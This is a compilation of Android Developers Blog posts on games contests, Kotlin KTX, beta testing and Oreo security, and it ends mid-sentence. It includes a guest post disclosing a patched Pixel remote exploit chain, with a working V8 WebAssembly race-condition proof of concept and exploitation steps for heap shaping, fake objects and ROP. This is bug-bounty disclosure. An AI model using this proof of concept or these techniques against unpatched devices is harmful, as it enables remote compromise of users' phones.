If you are using a previous version of Android Studio, you can upgrade to Android Studio 3.1 today or you can download the update from the official Android Studio download page.

We appreciate any feedback on things you like, issues or features you would like to see. If you find a bug or issue, feel free to file an issue. Connect with us — the Android Studio development team ‐ on our Google+ page or on Twitter.

Congratulations to the winners of the Google Play Indie Games Contest 2017 in Europe

Posted by Adriana Puchianu, Developer Marketing Google Play

We have just wrapped up the second edition of the Google Play Indie Games Contest in Europe! The iconic Saatchi Gallery in London welcomed 20 developers, from 12 countries, who showcased their games to the audience of gamers, industry experts, and journalists.

The finalists’ games were on show to the public, who spent three hours trying out their games and voting for their favourites, alongside the Google Play team. The top 10 finalists were then selected, and went on to pitch their games, and compete for the big prizes in front of our jury.

Please join us in congratulating the winners! They will be bringing home a well-deserved diploma, along with a prize package that will help them reach more gamers worldwide; including premium placement on the Google Play Store, marketing campaigns of up to 100,000 EUR and influencer campaigns of up to 50,000 EUR, the latest Google hardware, tickets to Google I/O, and much more.

It’s really inspiring to see the excitement around this second edition, and great to see the new wave of indie games coming from Europe. We are already looking forward to playing the games that will be developed in 2018!

Check out the main winners and the other finalists on the Google Play Store!

Winner

Bury me, my love

Playdius

France

A reality-inspired interactive fiction designed for mobile phones. It tells the story of Nour, a Syrian woman trying to reach Europe in hope of a better life.

Runners up

Old Man’s Journey

Broken Rules Interactive Media GmbH

Austria

A story game about life’s precious moments, broken dreams, and changed plans.

Yellow

Bart Bonte

Belgium

A puzzle game for you! A love letter to a marvelous colour and to the little wonder called touchscreens. Warning: very yellow!

The other games that have made it into top 10 are:

Captain Tom Galactic Traveler

Picodongames

France

An open world platformer and space exploration game. Embark on an exploratory mission, discover planets, collect oxygen, play with gravity.

I Love Hue

Zut!

United Kingdom

A minimalist, ambient puzzle game influenced by mindfulness apps and abstract art. Players arrange shuffled mosaics of coloured tiles into perfectly ordered palettes.

Jodeo

Gamebra.in

Turkey

Jodeo is a 2D jelly critter. There’s something it’s curious about: what if 3D objects and 2D physics are in the same game? How can 2D objects interact with 3D objects?

Kami 2

State of Play

United Kingdom

The calming yet addictive puzzle game is back! With over 100 handcrafted puzzles, it takes you on a mind-twisting journey that combines logic and problem-solving.

Kenshō

FIFTYTWO

Russia

A tile sliding puzzle with a wonderful soundtrack. Mysterious things happen in a ruined room. Doors inside that room lead to different worlds and beautiful landscapes.

No More Buttons

Tommy Søreide Kjær

Norway

A hand-drawn platformer where the buttons are part of the environment.

The Big Journey

Catfishbox

Ukraine

Designed for kids and adults alike, this a beautiful, casual adventure. Tilt to roll around and explore a beautiful world with Mr. Whiskers.

How useful did you find this blogpost?


Introducing Android KTX: Even Sweeter Kotlin Development for Android

Posted by Jake Wharton (@JakeWharton), Florina Muntenescu (@FMuntenescu) & James Lau (@jmslau)

Today, we are announcing the preview of Android KTX – a set of extensions designed to make writing Kotlin code for Android more concise, idiomatic, and pleasant. Android KTX provides a nice API layer on top of both Android framework and Support Library to make writing your Kotlin code more natural.

The portion of Android KTX that covers the Android framework is now available in our GitHub repo. We invite you to try it out to give us your feedback and contributions. The other parts of Android KTX that cover the Android Support Library will be available in upcoming Support Library releases.

Let’s take a look at some examples of how Android KTX can help you write more natural and concise Kotlin code.

Code Samples Using Android KTX

String to Uri

Let’s start with this simple example. Normally, you’d call Uri.parse(uriString). Android KTX adds an extension function to the String class that allows you to convert strings to URIs more naturally.

Kotlin
Kotlin with Android KTX

val uri = Uri.parse(myUriString)

val uri = myUriString.toUri()

Edit SharedPreferences

Editing SharedPreferences is a very common use case. The code using Android KTX is slightly shorter and more natural to read and write.

Kotlin
Kotlin with Android KTX
sharedPreferences.edit()
           .putBoolean(key, value)
           .apply()
sharedPreferences.edit { 
    putBoolean(key, value) 
}

 

Translating path difference

In the code below, we translate the difference between two paths by 100px.

Kotlin
Kotlin with Android KTX
val pathDifference = Path(myPath1).apply {
   op(myPath2, Path.Op.DIFFERENCE)
}

val myPaint = Paint()

canvas.apply {
   val checkpoint = save()
   translate(0F, 100F)
   drawPath(pathDifference, myPaint)
   restoreToCount(checkpoint)
}


val pathDifference = myPath1 - myPath2

canvas.withTranslation(y = 100F) {
   drawPath(pathDifference, myPaint)
}

Action on View onPreDraw

This example triggers an action with a View’s onPreDraw callback. Without Android KTX, there is quite a bit of code you need to write.

Kotlin
view.viewTreeObserver.addOnPreDrawListener(
       object : ViewTreeObserver.OnPreDrawListener {
           override fun onPreDraw(): Boolean {
               viewTreeObserver.removeOnPreDrawListener(this)
               actionToBeTriggered()
               return true
           }
       })
Kotlin with Android KTX
view.doOnPreDraw { actionToBeTriggered() }

There are many more places where Android KTX can simplify your code. You can read the full API reference documentation on GitHub.

Getting Started

To start using Android KTX in your Android Kotlin projects, add the following to your app module’s build.gradle file:

repositories {
    google()
}

dependencies {
    // Android KTX for framework API
    implementation 'androidx.core:core-ktx:0.1'
    ...
}

Then, after you sync your project, the extensions appear automatically in the IDE’s auto-complete list. Selecting an extension automatically adds the necessary import statement to your file.

Beware that the APIs are likely to change during the preview period. If you decide to use it in your projects, you should expect breaking changes before we reach the stable version.

androidx: Hello World!

You may notice that Android KTX uses package names that begin with androidx. This is a new package name prefix that we will be using in future versions of Android Support Library. We hope the division between android.* and androidx.* makes it more obvious which APIs are bundled with the platform, and which are static libraries for app developers that work across different versions of Android.

What’s Next?

Today’s preview launch is only the beginning. Over the next few months, we will iterate on the API as we incorporate your feedback and contributions. When the API has stabilized and we can commit to API compatibility, we plan to release Android KTX as part of the Android Support Library.

We look forward to building Android KTX together with you. Happy Kotlin-ing!

Android Developer Story: Big Fish Games uses open beta testing to de-risk their game launch

Posted by Kacey Fahey, Developer Marketing, Google Play

Based in Seattle, Big Fish Games was founded in 2002. Starting as a game studio, they quickly turned into a major publisher and distributor of casual games. Leading up to the launch of their hit time management game, Cooking Craze, the team ran an open beta on Google Play.

Big Fish Games found that using open beta provided more than 10x the amount of user feedback from around the world, and also gave them access to key metrics and Android Vitals in the Play Console. The ability to monitor game performance metrics pre-launch allowed the team to focus on areas of improvement, which lead to a 21% reduction in crash rate. The larger sample size of beta testers also provided more insights on player behavior and helped achieve a +7% improvement in day 1, day 7, and day 30 retention rates.

You can also learn more pre-launch best practices and strategies to improve performance post-launch at our Google Developer Day on Monday, March 19th at GDC. Sign up to stay informed.

How useful did you find this blogpost?

Android Security Ecosystem Investments Pay Dividends for Pixel

Posted by Mayank Jain and Scott Roberts of the Android Security team

In June 2017, the Android security team increased the top payouts for the Android Security Rewards (ASR) program and worked with researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the first working remote exploit chain since the ASR program’s expansion. For his detailed report, Gong was awarded $105,000, which is the highest reward in the history of the ASR program and $7500 by Chrome Rewards program for a total of $112,500. The complete set of issues was resolved as part of the December 2017 monthly security update. Devices with the security patch level of 2017-12-05 or later are protected from these issues.

All Pixel devices or partner devices using A/B (seamless) system updates will automatically install these updates; users must restart their devices to complete the installation.

The Android Security team would like to thank Guang Gong and the researcher community for their contributions to Android security. If you’d like to participate in Android Security Rewards program, check out our Program rules. For tips on how to submit reports, see Bug Hunter University.

The following article is a guest blog post authored by Guang Gong of Alpha team, Qihoo 360 Technology Ltd.

Technical details of a Pixel remote exploit chain

The Pixel phone is protected by many layers of security. It was the only device that was not pwned in the 2017 Mobile Pwn2Own competition. But in August 2017, my team discovered a remote exploit chain—the first of its kind since the ASR program expansion. Thanks to the Android security team for their responsiveness and help during the submission process.

This blog post covers the technical details of the exploit chain. The exploit chain includes two bugs, CVE-2017-5116 and CVE-2017-14904. CVE-2017-5116 is a V8 engine bug that is used to get remote code execution in sandboxed Chrome render process. CVE-2017-14904 is a bug in Android’s libgralloc module that is used to escape from Chrome’s sandbox. Together, this exploit chain can be used to inject arbitrary code into system_server by accessing a malicious URL in Chrome. To reproduce the exploit, an example vulnerable environment is Chrome 60.3112.107 + Android 7.1.2 (Security patch level 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys). 

The RCE bug (CVE-2017-5116)

New features usually bring new bugs. V8 6.0 introduces support for SharedArrayBuffer, a low-level mechanism to share memory between JavaScript workers and synchronize control flow across workers. SharedArrayBuffers give JavaScript access to shared memory, atomics, and futexes. WebAssembly is a new type of code that can be run in modern web browsers— it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages, such as C/C++, with a compilation target so that they can run on the web. By combining the three features, SharedArrayBuffer WebAssembly, and web worker in Chrome, an OOB access can be triggered through a race condition. Simply speaking, WebAssembly code can be put into a SharedArrayBuffer and then transferred to a web worker. When the main thread parses the WebAssembly code, the worker thread can modify the code at the same time, which causes an OOB access.

The buggy code is in the function GetFirstArgumentAsBytes where the argument args may be an ArrayBuffer or TypedArray object. After SharedArrayBuffer is imported to JavaScript, a TypedArray may be backed by a SharedArraybuffer, so the content of the TypedArray may be modified by other worker threads at any time.

i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(
    const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {
  ......
  } else if (source->IsTypedArray()) {    //--->source should be checked if it's backed by a SharedArrayBuffer
    // A TypedArray was passed.
    Local<TypedArray> array = Local<TypedArray>::Cast(source);
    Local<ArrayBuffer> buffer = array->Buffer();
    ArrayBuffer::Contents contents = buffer->GetContents();
    start =
        reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();
    length = array->ByteLength();
  } 
  ......
  return i::wasm::ModuleWireBytes(start, start + length);
}

A simple PoC is as follows:

<html>
<h1>poc</h1>
<script id="worker1">
worker:{
       self.onmessage = function(arg) {
        console.log("worker started");
        var ta = new Uint8Array(arg.data);
        var i =0;
        while(1){
            if(i==0){
                i=1;
                ta[51]=0;   //--->4)modify the webassembly code at the same time
            }else{
                i=0;
                ta[51]=128;
            }
        }
    }
}
</script>
<script>
function getSharedTypedArray(){
    var wasmarr = [
        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
        0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,
        0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,
        0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,
        0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,
        0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,
        0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];
    var sb = new SharedArrayBuffer(wasmarr.length);           //---> 1)put WebAssembly code in a SharedArrayBuffer
    var sta = new Uint8Array(sb);
    for(var i=0;i<sta.length;i++)
        sta[i]=wasmarr[i];
    return sta;    
}
var blob = new Blob([
        document.querySelector('#worker1').textContent
        ], { type: "text/javascript" })

var worker = new Worker(window.URL.createObjectURL(blob));   //---> 2)create a web worker
var sta = getSharedTypedArray();
worker.postMessage(sta.buffer);                              //--->3)pass the WebAssembly code to the web worker
setTimeout(function(){
        while(1){
        try{
        sta[51]=0;
        var myModule = new WebAssembly.Module(sta);          //--->4)parse the WebAssembly code
        var myInstance = new WebAssembly.Instance(myModule);
        //myInstance.exports.getAnswerPlus1();
        }catch(e){
        }
        }
    },1000);

//worker.terminate(); 
</script>
</html>

The text format of the WebAssembly code is as follows:

00002b func[0]:
00002d: 41 2a                      | i32.const 42
00002f: 0b                         | end
000030 func[1]:
000032: 10 00                      | call 0
000034: 41 01                      | i32.const 1
000036: 6a                         | i32.add
000037: 0b                         | end

First, the above binary format WebAssembly code is put into a SharedArrayBuffer, then a TypedArray Object is created, using the SharedArrayBuffer as buffer. After that, a worker thread is created and the SharedArrayBuffer is passed to the newly created worker thread. While the main thread is parsing the WebAssembly Code, the worker thread modifies the SharedArrayBuffer at the same time. Under this circumstance, a race condition causes a TOCTOU issue. After the main thread’s bound check, the instruction ” call 0″ can be modified by the worker thread to “call 128” and then be parsed and compiled by the main thread, so an OOB access occurs.

Because the “call 0” Web Assembly instruction can be modified to call any other Web Assembly functions, the exploitation of this bug is straightforward. If “call 0” is modified to “call $leak”, registers and stack contents are dumped to Web Assembly memory. Because function 0 and function $leak have a different number of arguments, this results in many useful pieces of data in the stack being leaked.

 (func $leak(param i32 i32 i32 i32 i32 i32)(result i32)
    i32.const 0
    get_local 0
    i32.store
    i32.const 4
    get_local 1
    i32.store
    i32.const 8
    get_local 2
    i32.store
    i32.const 12
    get_local 3
    i32.store
    i32.const 16
    get_local 4
    i32.store
    i32.const 20
    get_local 5
    i32.store
    i32.const 0
  ))

Not only the instruction “call 0” can be modified, any “call funcx” instruction can be modified. Assume funcx is a wasm function with 6 arguments as follows, when v8 compiles funcx in ia32 architecture, the first 5 arguments are passed through the registers and the sixth argument is passed through stack. All the arguments can be set to any value by JavaScript:

/*Text format of funcx*/
 (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32)
    get_local 5
    get_local 4
    i32.add)

/*Disassembly code of funcx*/
--- Code ---
kind = WASM_FUNCTION
name = wasm#1
compiler = turbofan
Instructions (size = 20)
0x58f87600     0  8b442404       mov eax,[esp+0x4]
0x58f87604     4  03c6           add eax,esi
0x58f87606     6  c20400         ret 0x4
0x58f87609     9  0f1f00         nop

Safepoints (size = 8)

RelocInfo (size = 0)

--- End code ---

When a JavaScript function calls a WebAssembly function, v8 compiler creates a JS_TO_WASM function internally, after compilation, the JavaScript function will call the created JS_TO_WASM function and then the created JS_TO_WASM function will call the WebAssembly function. JS_TO_WASM functions use different call convention, its first arguments is passed through stack. If “call funcx” is modified to call the following JS_TO_WASM function.

/*Disassembly code of JS_TO_WASM function */
--- Code ---
kind = JS_TO_WASM_FUNCTION
name = js-to-wasm#0
compiler = turbofan
Instructions (size = 170)
0x4be08f20     0  55             push ebp
0x4be08f21     1  89e5           mov ebp,esp
0x4be08f23     3  56             push esi
0x4be08f24     4  57             push edi
0x4be08f25     5  83ec08         sub esp,0x8
0x4be08f28     8  8b4508         mov eax,[ebp+0x8]
0x4be08f2b     b  e8702e2bde     call 0x2a0bbda0  (ToNumber)    ;; code: BUILTIN
0x4be08f30    10  a801           test al,0x1
0x4be08f32    12  0f852a000000   jnz 0x4be08f62  <+0x42>

The JS_TO_WASM function will take the sixth arguments of funcx as its first argument, but it takes its first argument as an object pointer, so type confusion will be triggered when the argument is passed to the ToNumber function, which means we can pass any values as an object pointer to the ToNumber function. So we can fake an ArrayBuffer object in some address such as in a double array and pass the address to ToNumber. The layout of an ArrayBuffer is as follows:

/* ArrayBuffer layouts 40 Bytes*/                                                                                                                         
Map                                                                                                                                                       
Properties                                                                                                                                                
Elements                                                                                                                                                  
ByteLength                                                                                                                                                
BackingStore                                                                                                                                              
AllocationBase                                                                                                                                            
AllocationLength                                                                                                                                          
Fields                                                                                                                                                    
internal                                                                                                                                                  
internal                                                                                                                                                                                                                                                                                                      


/* Map layouts 44 Bytes*/                                                                                                                                   
static kMapOffset = 0,                                                                                                                                    
static kInstanceSizesOffset = 4,                                                                                                                          
static kInstanceAttributesOffset = 8,                                                                                                                     
static kBitField3Offset = 12,                                                                                                                             
static kPrototypeOffset = 16,                                                                                                                             
static kConstructorOrBackPointerOffset = 20,                                                                                                              
static kTransitionsOrPrototypeInfoOffset = 24,                                                                                                            
static kDescriptorsOffset = 28,                                                                                                                           
static kLayoutDescriptorOffset = 1,                                                                                                                       
static kCodeCacheOffset = 32,                                                                                                                             
static kDependentCodeOffset = 36,                                                                                                                         
static kWeakCellCacheOffset = 40,                                                                                                                         
static kPointerFieldsBeginOffset = 16,                                                                                                                    
static kPointerFieldsEndOffset = 44,                                                                                                                      
static kInstanceSizeOffset = 4,                                                                                                                           
static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5,                                                                                           
static kUnusedOffset = 6,                                                                                                                                 
static kVisitorIdOffset = 7,                                                                                                                              
static kInstanceTypeOffset = 8,     //one byte                                                                                                            
static kBitFieldOffset = 9,                                                                                                                               
static kInstanceTypeAndBitFieldOffset = 8,                                                                                                                
static kBitField2Offset = 10,                                                                                                                             
static kUnusedPropertyFieldsOffset = 11

Because the content of the stack can be leaked, we can get many useful data to fake the ArrayBuffer. For example, we can leak the start address of an object, and calculate the start address of its elements, which is a FixedArray object. We can use this FixedArray object as the faked ArrayBuffer’s properties and elements fields. We have to fake the map of the ArrayBuffer too, luckily, most of the fields of the map are not used when the bug is triggered. But the InstanceType in offset 8 has to be set to 0xc3(this value depends on the version of v8) to indicate this object is an ArrayBuffer. In order to get a reference of the faked ArrayBuffer in JavaScript, we have to set the Prototype field of Map in offset 16 to an object whose Symbol.toPrimitive property is a JavaScript call back function. When the faked array buffer is passed to the ToNumber function, to convert the ArrayBuffer object to a Number, the call back function will be called, so we can get a reference of the faked ArrayBuffer in the call back function. Because the ArrayBuffer is faked in a double array, the content of the array can be set to any value, so we can change the field BackingStore and ByteLength of the faked array buffer to get arbitrary memory read and write. With arbitrary memory read/write, executing shellcode is simple. As JIT Code in Chrome is readable, writable and executable, we can overwrite it to execute shellcode.

Chrome team fixed this bug very quickly in chrome 61.0.3163.79, just a week after I submitted the exploit.

The EoP Bug (CVE-2017-14904)

The sandbox escape bug is caused by map and unmap mismatch, which causes a Use-After-Unmap issue. The buggy code is in the functions gralloc_map and gralloc_unmap:

static int gralloc_map(gralloc_module_t const* module,
                       buffer_handle_t handle)
{ ……
    private_handle_t* hnd = (private_handle_t*)handle;
    ……
    if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) &&
        !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) {
        size = hnd->size;
        err = memalloc->map_buffer(&mappedAddress, size,
                                       hnd->offset, hnd->fd);        //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process.
        if(err || mappedAddress == MAP_FAILED) {
            ALOGE("Could not mmap handle %p, fd=%d (%s)",
                  handle, hnd->fd, strerror(errno));
            return -errno;
        }
        hnd->base = uint64_t(mappedAddress) + hnd->offset;          //---> save mappedAddress+offset to hnd->base
    } else {
        err = -EACCES;
}
……
    return err;
}

gralloc_map maps a graphic buffer controlled by the arguments handle to memory space and gralloc_unmap unmaps it. While mapping, the mappedAddress plus hnd->offset is stored to hnd->base, but while unmapping, hnd->base is passed to system call unmap directly minus the offset. hnd->offset can be manipulated from a Chrome’s sandboxed process, so it’s possible to unmap any pages in system_server from Chrome’s sandboxed render process.

static int gralloc_unmap(gralloc_module_t const* module,
                         buffer_handle_t handle)
{
  ……
    if(hnd->base) {
        err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset);    //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched.
        if (err) {
            ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base,
                    strerror(errno));
            return -errno;
        }
        hnd->base = 0;
}
……
    return 0;
}

int IonAlloc::unmap_buffer(void *base, unsigned int size,
        unsigned int /*offset*/)                              
//---> look, offset is not used by unmap_buffer
{
    int err = 0;
    if(munmap(base, size)) {
        err = -errno;
        ALOGE("ion: Failed to unmap memory at %p : %s",
              base, strerror(errno));
    }
    return err;
}

Although SeLinux restricts the domain isolated_app to access most of Android system service, isolated_app can still access three Android system services.

52neverallow isolated_app {
53    service_manager_type
54    -activity_service
55    -display_service
56    -webviewupdate_service
57}:service_manager find;

To trigger the aforementioned Use-After-Unmap bug from Chrome’s sandbox, first put a GraphicBuffer object, which is parseable into a bundle, and then call the binder method convertToTranslucent of IActivityManager to pass the malicious bundle to system_server. When system_server handles this malicious bundle, the bug is triggered.

This EoP bug targets the same attack surface as the bug in our 2016 MoSec presentation, A Way of Breaking Chrome’s Sandbox in Android. It is also similar to Bitunmap, except exploiting it from a sandboxed Chrome render process is more difficult than from an app. 

To exploit this EoP bug:

1. Address space shaping. Make the address space layout look as follows, a heap chunk is right above some continuous ashmem mapping:

7f54600000-7f54800000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f58000000-7f54a00000 rw-s 001fe000 00:04 32783         /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781         /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779         /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777         /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775         /dev/ashmem/360alpha25 (deleted)
......

2. Unmap part of the heap (1 KB) and part of an ashmem memory (2MB–1KB) by triggering the bug:

7f54400000-7f54600000 rw-s 00000000 00:04 31603         /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
//--->There is a 2MB memory gap
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

3. Fill the unmapped space with an ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603      /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0         [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605       /dev/ashmem/360alpha1001 (deleted)  
//--->The gap is filled with the ashmem memory 360alpha1001
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783      /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781      /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779      /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777      /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775      /dev/ashmem/360alpha25 (deleted)

4. Spray the heap and the heap data will be written to the ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603        /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605          /dev/ashmem/360alpha1001 (deleted)
//--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

5. Because the filled ashmem in step 3 is mapped both by system_server and render process, part of the heap of system_server can be read and written by render process and we can trigger system_server to allocate some GraphicBuffer object in ashmem. As GraphicBuffer is inherited from ANativeWindowBuffer, which has a member named common whose type is android_native_base_t, we can read two function points (incRef and decRef) from ashmem memory and then can calculate the base address of the module libui. In the latest Pixel device, Chrome’s render process is still 32-bit process but system_server is 64-bit process. So we have to leak some module’s base address for ROP. Now that we have the base address of libui, the last step is to trigger ROP. Unluckily, it seems that the points incRef and decRef haven’t been used. It’s impossible to modify it to jump to ROP, but we can modify the virtual table of GraphicBuffer to trigger ROP.

typedef struct android_native_base_t
{
    /* a magic value defined by the actual EGL native type */
    int magic;

    /* the sizeof() of the actual EGL native type */
    int version;

    void* reserved[4];

    /* reference-counting interface */
    void (*incRef)(struct android_native_base_t* base);
    void (*decRef)(struct android_native_base_t* base);
} android_native_base_t;

6.Trigger a GC to execute ROP

When a GraphicBuffer object is deconstructed, the virtual function onLastStrongRef is called, so we can replace this virtual function to jump to ROP. When GC happens, the control flow goes to ROP. Finding an ROP chain in limited module(libui) is challenging, but after hard work, we successfully found one and dumped the contents of the file into /data/misc/wifi/wpa_supplicant.conf .

Summary

The Android security team responded quickly to our report and included the fix for these two bugs in the December 2017 Security Update. Supported Google device and devices with the security patch level of 2017-12-05 or later address these issues. While parsing untrusted parcels still happens in sensitive locations, the Android security team is working on hardening the platform to mitigate against similar vulnerabilities.

The EoP bug was discovered thanks to a joint effort between 360 Alpha Team and 360 C0RE Team. Thanks very much for their effort.

Meet the finalists of the Google Play Indie Games Contest in Europe

Posted by Adriana Puchianu, Developer Marketing Google Play

Back in October we launched the 2nd edition of the Google Play Indie
Games Contest in Europe
, with the aim to identify, showcase and reward indie
gaming talent from more than 30 countries. We were amazed by the innovation and
creativity that indie developers from the region have to offer.

Selecting just 20 finalists has once again been a huge challenge. We had a lot
of fun playing the games that will go on to showcase at the Saatchi
Gallery
on February 13th in London. Without further ado, we are happy
to announce the Top 20 finalists of this year’s edition. Congratulations to the
finalists and thanks to everyone else who has entered the contest.

A
Planet of Mine


Tuesday Quest

France

Bridge
Constructor Portal


ClockStone Softwareentwicklung GmbH

Austria

Bury
me, my Love


Playdius

France

Captain
Tom Galactic Traveler


Picodongames

France

Core

FURYJAM

Russia

Flat
Pack


Nitrome

United Kingdom

Fern
Flower


Macaque

Poland

I
Love Hue


Zut!

United Kingdom

Jodeo

Gamebra.in

Turkey

Kami
2

State of Play

United Kingdom

Kenshō

FIFTYTWO

Russia

No
More Buttons


Tommy Søreide Kjær

Norway

Old
Man’s Journey


Broken Rules Interactive Media GmbH

Austria

Radium 2 | Ra²

Developster

Germany

The
Big Journey


Catfishbox

Ukraine

The
House of Da Vinci


Blue Brain Games, s.r.o.

Slovakia

The
Office Quest


11Sheep

Israel

Unbalance

TVEE

Turkey

Undervault

Andriy Bychkovskyi

Ukraine

yellow

Bart Bonte

Belgium

Check out the prizes

All the 20 finalists are getting:

  • A paid trip to London to showcase their game at the Final held at Saatchi
    Gallery
  • Inclusion of their game on a promotional billboard in London for 1 month
  • Inclusion of their game in a dedicated Indie Games Contest collection on the
    Indie Corner for one month in more than 40 countries across EMEA
  • Two (2) tickets to attend a 2018 Playtime event, an invitation-only event
    for top apps and games developers on Google Play
  • One (1) Pixel 2 device

They will also have the chance to win more
prizes
at the final event.

Join the Google Play team and the finalists at the final event:

Anyone can now register
to attend the final
showcase event
for free at the Saatchi Gallery in London on 13
February 2018
. Come and play some great games and have fun with indie
developers, industry experts, and the Google Play team.


How useful did you find this blogpost?







Double Stuffed Security in Android Oreo

Posted by Gian G Spicuzza, Android Security team

Android Oreo is stuffed full of security enhancements. Over the past few months,
we’ve covered how we’ve improved the security of the Android platform and its
applications: from making
it safer to get apps
, dropping insecure
network protocols
, providing more user
control over identifiers
, hardening
the kernel
, making
Android easier to update
, all the way to doubling
the Android Security Rewards payouts
. Now that Oreo is out the door, let’s
take a look at all the goodness inside.

Expanding support for hardware security

Android already supports Verified Boot,
which is designed to prevent devices from booting up with software that has been
tampered with. In Android Oreo, we added a reference implementation for Verified
Boot running with Project
Treble
, called Android Verified Boot 2.0 (AVB). AVB has a couple of cool
features to make updates easier and more secure, such as a common footer format
and rollback protection. Rollback protection is designed to prevent a device to
boot if downgraded to an older OS version, which could be vulnerable to an
exploit. To do this, the devices save the OS version using either special
hardware or by having the Trusted Execution Environment (TEE) sign the data.
Pixel 2 and Pixel 2 XL come with this protection and we recommend all device
manufacturers add this feature to their new devices.

Oreo also includes the new OEM
Lock Hardware Abstraction Layer
(HAL) that gives device manufacturers more
flexibility for how they protect whether a device is locked, unlocked, or
unlockable. For example, the new Pixel phones use this HAL to pass commands to
the bootloader. The bootloader analyzes these commands the next time the device
boots and determines if changes to the locks, which are securely stored in
Replay Protected Memory Block (RPMB), should happen. If your device is stolen,
these safeguards are designed to prevent your device from being reset and to
keep your data secure. This new HAL even supports moving the lock state to
dedicated hardware.

Speaking of hardware, we’ve invested support in tamper-resistant hardware, such
as the security
module
found in every Pixel 2 and Pixel 2 XL. This physical chip prevents
many software and hardware attacks and is also resistant to physical penetration
attacks. The security module prevents deriving the encryption key without the
device’s passcode and limits the rate of unlock attempts, which makes many
attacks infeasible due to time restrictions.

While the new Pixel devices have the special security module, all new GMS devices shipping with Android Oreo
are required to implement key
attestation
. This provides a mechanism for strongly attesting
IDs
such as hardware identifiers.

We added new features for enterprise-managed devices as well. In work profiles,
encryption keys are now ejected from RAM when the profile is off or when your
company’s admin remotely locks the profile. This helps secure enterprise data at
rest.

Platform hardening and process isolation

As part of Project
Treble
, the Android framework was re-architected to make updates easier and
less costly for device manufacturers. This separation of platform and
vendor-code was also designed to improve security. Following the principle of
least privilege
, these HALs run in their own
sandbox
and only have access to the drivers and permissions that are
absolutely necessary.

Continuing with the media
stack hardening
in Android Nougat, most direct hardware access has been
removed from the media frameworks in Oreo resulting in better isolation.
Furthermore, we’ve enabled Control Flow Integrity (CFI) across all media
components. Most vulnerabilities today are exploited by subverting the normal
control flow of an application, instead changing them to perform arbitrary
malicious activities with all the privileges of the exploited application. CFI
is a robust security mechanism that disallows arbitrary changes to the original
control flow graph of a compiled binary, making it significantly harder to
perform such attacks.

In addition to these architecture changes and CFI, Android Oreo comes with a
feast of other tasty platform security enhancements:

  • Seccomp
    filtering
    : makes some unused syscalls unavailable to apps so that
    they can’t be exploited by potentially harmful apps.
  • Hardened
    usercopy
    : A recent survey
    of security bugs
    on Android
    revealed that invalid or missing bounds checking was seen in approximately 45%
    of kernel vulnerabilities. We’ve backported a bounds checking feature to Android
    kernels 3.18 and above, which makes exploitation harder while also helping
